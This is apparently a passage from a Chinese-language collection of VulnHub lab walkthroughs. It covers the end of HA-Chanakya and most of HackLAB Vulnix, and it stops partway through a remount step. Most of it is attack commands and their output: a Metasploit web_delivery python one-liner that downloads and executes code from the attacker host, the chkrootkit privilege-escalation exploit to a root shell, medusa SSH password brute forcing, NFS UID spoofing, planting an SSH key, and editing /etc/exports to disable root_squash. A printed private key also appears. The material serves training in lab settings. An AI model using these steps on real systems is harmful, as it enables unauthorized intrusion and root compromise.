Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not found
Checking `timed'... not found
Checking `traceroute'... not found
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while... 
/lib/modules/4.15.0-20-generic/vdso/.build-id
/lib/modules/4.15.0-20-generic/vdso/.build-id
Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for Suckit rootkit... Warning: /sbin/init INFECTED
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for rootedoor... nothing found
Searching for ENYELKM rootkit default files... nothing found
Searching for common ssh-scanners default files... nothing found
Searching for suspect PHP files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... not tested: can't exec 
Checking `rexedcs'... not found
Checking `sniffer'... not tested: can't exec ./ifpromisc
Checking `w55808'... not infected
Checking `wted'... not tested: can't exec ./chkwtmp
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... not tested: can't exec ./chklastlog
Checking `chkutmp'... not tested: can't exec ./chkutmp
Checking `OSX_RSPLUG'... not infected
```

#### 提权

现在，要在目标计算机上升级特权，将需要在目标计算机上配备一个meterpreter，并在Metasploit的帮助下使用get root。 使用web_delivery漏洞利用meterpreter。 在use命令的帮助下选择了web_delivery利用，然后提供了lhost。 Lhost是目标计算机（Kali Linux）的IP地址。 将输入漏洞利用代码。 这将创建一个单行脚本，该脚本将使我们对目标计算机有一个meterpreter。

``` bash
root@kali:~# msfdb run
[+] Starting database
                                                  
# cowsay++
 ____________                                                                                          
< metasploit >                                                                                         
 ------------                                                                                          
       \   ,__,                                                                                        
        \  (oo)____                                                                                    
           (__)    )\                                                                                  
              ||--|| *                                                                                 
                                                                                                       

       =[ metasploit v5.0.63-dev                          ]
+ -- --=[ 1951 exploits - 1091 auxiliary - 334 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set LHOST 192.168.142.128
LHOST => 192.168.142.128
msf5 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.142.128:4444 
msf5 exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:8080/iG1jsBgk9ZBOAY
[*] Local IP: http://192.168.142.128:8080/iG1jsBgk9ZBOAY
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.142.128:8080/iG1jsBgk9ZBOAY');exec(r.read());"
```

复制漏洞利用程序生成的命令，并在之前获得的ssh会话运行python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.142.128:8080/iG1jsBgk9ZBOAY');exec(r.read());"。

``` bash
ashoka@ubuntu:~$ python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.142.128:8080/iG1jsBgk9ZBOAY');exec(r.read());"
```

这给了需要的session。将使用Metasploit中的内置漏洞利用程序，可以帮助我们在目标计算机上获得root shell。 我们选择了会话并为另一个会话提供了端口。 键入漏洞利用程序后，发现漏洞利用程序正在运行，并且通过前面提到的端口为我们提供了另一个shell为了将shell转换为能够用的shell，运行了python单行代码以生成TTY shell。

``` bash
msf5 exploit(multi/script/web_delivery) > 
[*] 192.168.142.130  web_delivery - Delivering Payload (454) bytes
[*] Sending stage (53755 bytes) to 192.168.142.130
[*] Meterpreter session 3 opened (192.168.142.128:4444 -> 192.168.142.130:38970) at 2019-12-16 01:06:52 -0500

msf5 exploit(multi/script/web_delivery) > 
msf5 exploit(multi/script/web_delivery) > use exploit/unix/local/chkrootkit
msf5 exploit(unix/local/chkrootkit) > set session 3
session => 3
msf5 exploit(unix/local/chkrootkit) > set lport 8888
lport => 8888
msf5 exploit(unix/local/chkrootkit) > exploit

[*] Started reverse TCP double handler on 192.168.142.128:8888 
[!] Rooting depends on the crontab (this could take a while)
[*] Payload written to /tmp/update
[*] Waiting for chkrootkit to run via cron...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XMnVavzOqVIfxgY5;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "XMnVavzOqVIfxgY5\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 4 opened (192.168.142.128:8888 -> 192.168.142.130:44238) at 2019-12-16 01:09:28 -0500
whoami
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo BGwiPjx0EW1uplK3;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "BGwiPjx0EW1uplK3\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 5 opened (192.168.142.128:8888 -> 192.168.142.130:44242) at 2019-12-16 01:10:28 -0500
[!] Tried to delete /tmp/update, unknown result
root
python -c 'import pty; pty.spawn("/bin/sh")'
# whoami
whoami
root
# ls
ls
final.txt
# cat final.txt
cat final.txt
                                                                   
!! Congrats you have finished this task !!

Contact us here:

Hacking Articles : https://twitter.com/rajchandel/
Geet Madan : https://in.linkedin.com/in/geet-madan

+-+-+-+-+-+ +-+-+-+-+-+-+-+
 |E|n|j|o|y| |H|A|C|K|I|N|G|
 +-+-+-+-+-+ +-+-+-+-+-+-+-+
____________________________________
#
```

找到一个文本文件final.txt，将其打开以查找final flag,挑战到此结束,6的一批。

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="red">***The end,to be continue...***</font>
<!-- kb:end HA-Chanakya -->

</details>

<a id="case-hacklab-vulnix"></a>

## NFS UID 映射与 root_squash

finger、RPC 和 NFS 枚举连接到导出目录的身份映射。复现依赖客户端 UID、root_squash 与 no_root_squash 的实际状态。

<p class="kb-provenance">来源 HackLAB-Vulnix · 原记录 2020-04-15 · 22 个代码块 · 2 处图片引用</p>

<details class="kb-evidence" id="record-hacklab-vulnix">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start HackLAB-Vulnix -->

#### 名称
名称：HackLAB: Vulnix
发布日期：2012年9月10日

#### 下载

Vulnix.7z

 - Download: http://www.rebootuser.com/wp-content/uploads/vulnix/Vulnix.7z
 - Download (Mirror): https://download.vulnhub.com/hacklab/Vulnix.7z
 - Download (Torrent): https://download.vulnhub.com/hacklab/Vulnix.7z.torrent



#### 描述

在这里，有一台易受攻击的Linux主机，它具有配置方面的缺陷，而不是有目的的易受攻击的软件版本（无论如何，在发布之时！）该主机基于Ubuntu Server 12.04，并于2012年9月上旬进行了全面修补。详细信息如下：

架构：x86
格式：VMware（vmx＆vmdk）从版本4开始兼容
内存：512MB
网络：NAT
提取大小：820MB
压缩（下载大小）：194MB – 7zip格式– 7zip可从此处获得
MD5 Vulnix哈希值7z：0bf19d11836f72d22f30bf52cd585757
从此处下载Vulnix-

目标;引导，查找IP，破解并获得隐藏在/root中的flag-通过任何想要的方式-不包括对vmdk的实际破解如果有任何问题/意见，请使用下面的评论部分免费联系。

请享用！

资料来源：http://www.rebootuser.com/?p=933

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.66.*
Nmap scan report for 192.168.66.18
Host is up (0.00018s latency).
MAC Address: 00:0C:29:6C:D6:66 (VMware)
```

``` bash
root@kali:~# nmap -sV -v -p- 192.168.66.18
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
25/tcp    open  smtp       Postfix smtpd
79/tcp    open  finger     Linux fingerd
110/tcp   open  pop3?
111/tcp   open  rpcbind    2-4 (RPC #100000)
143/tcp   open  imap       Dovecot imapd
512/tcp   open  exec       netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
993/tcp   open  ssl/imaps?
995/tcp   open  ssl/pop3s?
2049/tcp  open  nfs_acl    2-3 (RPC #100227)
39832/tcp open  mountd     1-3 (RPC #100005)
42471/tcp open  status     1 (RPC #100024)
45506/tcp open  nlockmgr   1-4 (RPC #100021)
52840/tcp open  mountd     1-3 (RPC #100005)
53613/tcp open  mountd     1-3 (RPC #100005)
```

如所见，对于某些用户枚举来说，有一些开放的端口可能很有趣：25（smtp），79（finger）和111（rpcbind）。开始做一些手动尝试来获取端口25（smtp）上的用户：

``` bash
root@kali:~# telnet 192.168.66.18 25
Trying 192.168.66.18...
Connected to 192.168.66.18.
Escape character is '^]'.
220 vulnix ESMTP Postfix (Ubuntu)
ehlo server
250-vulnix
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
vrfy root
252 2.0.0 root
vrfy admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
vrfy user
252 2.0.0 user
vrfy administrator
550 5.1.1 <administrator>: Recipient address rejected: User unknown in local recipient table
vrfy vulnix
252 2.0.0 vulnix
```

在系统上找到3个用户：root，user和vulnix。继续使用finger进行一些研究：

``` bash
root@kali:~# finger @192.168.66.18
No one logged on.
root@kali:~# finger root@192.168.66.18
Login: root                             Name: root
Directory: /root                        Shell: /bin/bash
Never logged in.
No mail.
No Plan.
root@kali:~# finger user@192.168.66.18
Login: user                             Name: user
Directory: /home/user                   Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: dovenull                         Name: Dovecot login user
Directory: /nonexistent                 Shell: /bin/false
Never logged in.
No mail.
No Plan.
root@kali:~# finger vulnix@192.168.66.18
Login: vulnix                           Name: 
Directory: /home/vulnix                 Shell: /bin/bash
Never logged in.
No mail.
No Plan.
```

有趣的是，该用户用户还具有用于Dovecot的虚拟用户，但没有登录。Dovecot是一个开源电子邮件服务器。这可能是有用的信息。

服务rpcbind已打开。这对于执行一些RPC枚举很有用：

``` bash
root@kali:~# rpcinfo -p 192.168.66.18
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  38458  status
    100024    1   tcp  39760  status
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100227    2   tcp   2049
    100227    3   tcp   2049
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100227    2   udp   2049
    100227    3   udp   2049
    100021    1   udp  47060  nlockmgr
    100021    3   udp  47060  nlockmgr
    100021    4   udp  47060  nlockmgr
    100021    1   tcp  50245  nlockmgr
    100021    3   tcp  50245  nlockmgr
    100021    4   tcp  50245  nlockmgr
    100005    1   udp  47351  mountd
    100005    1   tcp  50825  mountd
    100005    2   udp  42195  mountd
    100005    2   tcp  55764  mountd
    100005    3   udp  38349  mountd
    100005    3   tcp  38329  mountd
```

现在确定NFS正在侦听端口2049/tcp和2049/udp。现在是时候进行一些NFS枚举了：

``` bash
root@kali:~# showmount -e 192.168.66.18
Export list for 192.168.66.18:
/home/vulnix *
```

这意味着可以从任何主机访问共享。因此将该共享的位置安装在本地计算机上：

``` bash
root@kali:~/vulnhub/vulnix# mount 192.168.66.18:/home/vulnix /root/vulnhub/vulnix
root@kali:~/vulnhub# cd vulnix
bash: cd: vulnix: 权限不够
```

但是当尝试访问该文件夹时，检索到拒绝访问。尝试更改访问权限，但检索到相同的错误。认为root squashing已启用，因为去过由该VM的创建者开办的培训课程，经常提到要使其保持启用状态。

#### getshell

至此，决定暴力破解已检索用户的密码。创建一个文件，收集所有用户（没有用户dovenull，没有登录访问权限）：

``` bash
root@kali:~/vulnhub/vulnix# cat user.txt 
root
user
vulnix
```

然后使用字典列表rockyou.txt破解密码：

``` bash
root@kali:~/vulnhub/vulnix# medusa -h 192.168.66.18 -U user.txt -P /usr/share/wordlists/rockyou.txt -e ns -f -M ssh -t 64
```

终于破解了用户user的密码，即letmein。

``` bash
root@kali:~# ssh user@192.168.66.18
The authenticity of host '192.168.66.18 (192.168.66.18)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.18' (ECDSA) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
user@192.168.66.18's password: 
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Thu Apr 16 03:53:37 BST 2020

  System load:  0.0              Processes:           89
  Usage of /:   90.2% of 773MB   Users logged in:     0
  Memory usage: 7%               IP address for eth0: 192.168.66.18
  Swap usage:   0%

  => / is using 90.2% of 773MB                                                                                                        
                                                                                                                                      
  Graph this data and manage this system at https://landscape.canonical.com/

user@vulnix:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
user@vulnix:~$ whoami
user
user@vulnix:~$ pwd
/home/user
user@vulnix:~$ uname -a
Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
```

当然，该用户不是sudoer。

#### ssh key毒化以getshell

不得已时尝试以vulnix用户身份登录。

检查受害服务器上的/etc/passwd文件，发现用户vulnix具有UID 2008，因此在本地计算机上创建了一个名为vulnix的用户，UID为2008，然后尝试再次访问该分区：

``` bash
user@vulnix:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
postfix:x:104:110::/var/spool/postfix:/bin/false
dovecot:x:105:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:106:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:107:113::/var/lib/landscape:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
statd:x:109:65534::/var/lib/nfs:/bin/false
```

使用新创建的vulnix用户（具有UID 2008权限）成功进入已经挂载的/mnt/vulnix文件夹

``` bash
root@kali:~# useradd vulnix
root@kali:~# passwd vulnix
新的 密码：
重新输入新的 密码：
passwd：已成功更新密码
root@kali:~# leafpad /etc/passwd
root@kali:~# su vulnix
$ ls
android-backup-recover.jar  ctf               go                  Linux_Exploit_Suggester.pl  proxychains-ng  TheFatRat
ant                         Desktop           gobackdoor          linuxprivchecker.py         pwndbg          translatefiles
antshells                   dirmap            gobackdoor.go       linux-sendpage3             pycdc           trojan
antsword                    dirsearch         HiddenEye           location                    safedog2.py     uncompyle2
BlindWaterMark              Downloads         historyvulnhub      Lucifer113.ovpn             safedog.py      vulnhub
burpextend                  dvcs-ripper       hsdecomp            lxd-alpine-builder          shells          WAFNinja
cansina                     Fatrat_Generated  knock-knock-master  picture                     SocialFish
checkifbase64.py            GitHack           LinEnum.sh          pkcrack                     struts-pwn
$ id
uid=2008(vulnix) gid=2008 组=2008
$ pwd
/root
$ cd /mnt/vulnix
$ ls
$ pwd
/mnt/vulnix
$ whoami
vulnix
$ id
uid=2008(vulnix) gid=2008 组=2008
$ ls -la
总用量 20
drwxr-x--- 2 nobody 4294967294 4096 9月   2  2012 .
drwxr-xr-x 3 root   root       4096 4月  15 23:00 ..
-rw-r--r-- 1 nobody 4294967294  220 4月   3  2012 .bash_logout
-rw-r--r-- 1 nobody 4294967294 3486 4月   3  2012 .bashrc
-rw-r--r-- 1 nobody 4294967294  675 4月   3  2012 .profile
```

已经进入，生成一个SSH密钥，以vulnix用户身份登录而不需要密码：

``` bash
root@kali:~/vulnhub/vulnix# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/vulnhub/vulnix/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/vulnhub/vulnix/id_rsa
Your public key has been saved in /root/vulnhub/vulnix/id_rsa.pub
The key fingerprint is:
SHA256:spDzqP71ppmCK9Ls2eSA+m1TFlI8Rs5xptB4isWBn7M root@kali
The key's randomart image is:
+---[RSA 3072]----+
|   oo*o o        |
|  . ++B=         |
|   + *+.         |
|  . *..          |
|    ++..S        |
| .  E=oo         |
|.o..oo+          |
|+ +O+. +.        |
|o=B+=o+o.        |
+----[SHA256]-----+
root@kali:~/vulnhub/vulnix# ls
id_rsa  id_rsa.pub  user.txt
root@kali:~/vulnhub/vulnix# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
vU05iNf3ixaredAAAACXJvb3RAa2FsaQE=
-----END OPENSSH PRIVATE KEY-----
root@kali:~/vulnhub/vulnix# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDetmdQqLfvlrWOcE1pjVqlFGyWzJ/5gbyYysYpycTAMYRdwpp7KdrN1ewEM9//RXaRAD1dg8Eb5D+mlzqGXgGmYOL5JsQMfkpJfZI/I43Wp5gAC72R/BLHwc7FZI9Rh488I6e6rFwEDaIghKyZKrXRBHuYxKIAOqkYWMzQL/bY2Ett0RfhZKwk9s4lWEkUuf1UK1UaksL+DcK7cJgnkS24B+8BhzC+CMmNbRFvsS6/uewFpNV9wVaQJ8/MWBcbN2Gcs5Es8iDb2XQ2seTFNuHRx82lxStJE7zFJRQXwAIzE5tu5VyPNuldfyutNrF6YTz28VUbrMtHERfQWTbUQdz8Ix9iPtGsdhR6Trz0poooZ9L9fl01AjAnSR9H/OTPkvVauR6asz7Ak9qbF5yQsMQZVN2DUeYg7BWwWkpX9CIBCKM+cJB9rV/Zu5DE45KVrasPzRsZgg+Unb9l1hH8aLMz7pASv5dwJPNZgOwpPY1g75lUJE6DFNHYLIu5jgdv4zs= root@kali
```

然后在终端上以'vulnix'用户身份将生成的ssh-key复制到'/home/vulnix/.ssh/authorized_keys'文件中：

``` bash
$ mkdir .ssh
$ cd .ssh
$ pwd
/mnt/vulnix/.ssh
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDetmdQqLfvlrWOcE1pjVqlFGyWzJ/5gbyYysYpycTAMYRdwpp7KdrN1ewEM9//RXaRAD1dg8Eb5D+mlzqGXgGmYOL5JsQMfkpJfZI/I43Wp5gAC72R/BLHwc7FZI9Rh488I6e6rFwEDaIghKyZKrXRBHuYxKIAOqkYWMzQL/bY2Ett0RfhZKwk9s4lWEkUuf1UK1UaksL+DcK7cJgnkS24B+8BhzC+CMmNbRFvsS6/uewFpNV9wVaQJ8/MWBcbN2Gcs5Es8iDb2XQ2seTFNuHRx82lxStJE7zFJRQXwAIzE5tu5VyPNuldfyutNrF6YTz28VUbrMtHERfQWTbUQdz8Ix9iPtGsdhR6Trz0poooZ9L9fl01AjAnSR9H/OTPkvVauR6asz7Ak9qbF5yQsMQZVN2DUeYg7BWwWkpX9CIBCKM+cJB9rV/Zu5DE45KVrasPzRsZgg+Unb9l1hH8aLMz7pASv5dwJPNZgOwpPY1g75lUJE6DFNHYLIu5jgdv4zs= root@kali" > authorized_keys
$ ls
authorized_keys
```

然后使用ssh私匙登录

``` bash
root@kali:~/vulnhub/vulnix# ssh vulnix@192.168.66.18 -i id_rsa
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Thu Apr 16 04:23:19 BST 2020

  System load:  0.0              Processes:           92
  Usage of /:   90.2% of 773MB   Users logged in:     1
  Memory usage: 9%               IP address for eth0: 192.168.66.18
  Swap usage:   0%

  => / is using 90.2% of 773MB

  Graph this data and manage this system at https://landscape.canonical.com/

New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

vulnix@vulnix:~$ id
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
vulnix@vulnix:~$ whoami
vulnix
vulnix@vulnix:~$ pwd
/home/vulnix
```

#### 提权

``` bash
vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
```

很好,vulnix可以运行命令来打开/etc/exports，不用输入密码。这是发现的：

``` bash
vulnix@vulnix:~$ sudoedit /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix    *(rw,root_squash)
```

还记得之前说过的有关Root squashing的内容吗？（感谢课程，Owen xD）

用no_root_squash替换了root_squash flag。需要作弊，因为没有vulnix的密码，而且没有sudo用户执行命令/usr/sbin/exportfs -a或计算机重新引导，就无法再次导出NFS分区，所以手动重新引导（Boooooo，真是个n0o0o0o0ob !!）

 - root_squash： 客户端的root用户映射到任何人：客户端无法使用setuid位将恶意软件留给他人执行。
 - no_root_squash：通过此选项，停用了此安全功能，从而允许客户端的root权限操作最终以root身份出现在导出的文件系统中（因此，在其余客户端中）。

机器重新启动后，再次安装该分区并以本地root用户身份访问。

检查机器是否再次启动（再次抱歉！）：

``` bash
root@kali:~# ping -c 4 192.168.66.18
PING 192.168.66.18 (192.168.66.18) 56(84) bytes of data.
64 bytes from 192.168.66.18: icmp_seq=1 ttl=64 time=1.04 ms
64 bytes from 192.168.66.18: icmp_seq=2 ttl=64 time=0.279 ms
64 bytes from 192.168.66.18: icmp_seq=3 ttl=64 time=0.482 ms
64 bytes from 192.168.66.18: icmp_seq=4 ttl=64 time=0.492 ms

--- 192.168.66.18 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3033ms
rtt min/avg/max/mdev = 0.279/0.572/1.037/0.281 ms
```

然后再次挂载分区：

``` bash
